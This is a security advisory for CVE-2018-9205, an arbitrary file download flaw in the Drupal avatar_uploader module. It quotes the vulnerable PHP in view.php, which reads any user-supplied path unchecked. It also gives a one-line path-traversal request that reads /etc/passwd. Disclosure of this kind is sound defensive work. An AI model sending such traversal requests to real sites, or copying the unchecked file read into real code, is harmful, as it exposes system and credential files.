Drupal Avatar Uploader 7.x-1.0-beta8 Arbitary File Download

`Title: Arbitrary file download vulnerability in Drupal module avatar_uploader v7.x-1.0-beta8  
Author: Larry W. Cashdollar  
Date: 2018-03-30  
CVE-ID:[CVE-2018-9205]  
Download Site: https://www.drupal.org/project/avatar_uploader  
Vendor: https://www.drupal.org/u/robbinzhao  
Vendor Notified: 2018-04-02  
Vendor Contact: https://www.drupal.org/project/avatar_uploader/issues/2957966#comment-12554146  
Advisory: http://www.vapidlabs.com/advisory.php?v=202  
Description: This module used Simple Ajax Uploader, and provide a basic uploader panel, for more effect, you can do your custom javascript. Such as, users' mouse hover on avatar, the edit link will slideup, or others.  
Vulnerability:  
The view.php contains code to retrieve files but no code to verify a user should be able to view files or keep them from changing the path to outside of the uploadDir directory  
  
  
<?php  
  
$file = $_GET['file'];  
  
echo file_get_contents("uploadDir/$file");  
exit  
  
  
Exploit Code:  
aC/ http://example.com/sites/all/modules/avatar_uploader/lib/demo/view.php?file=../../../../../../../../../../../etc/passwd  
`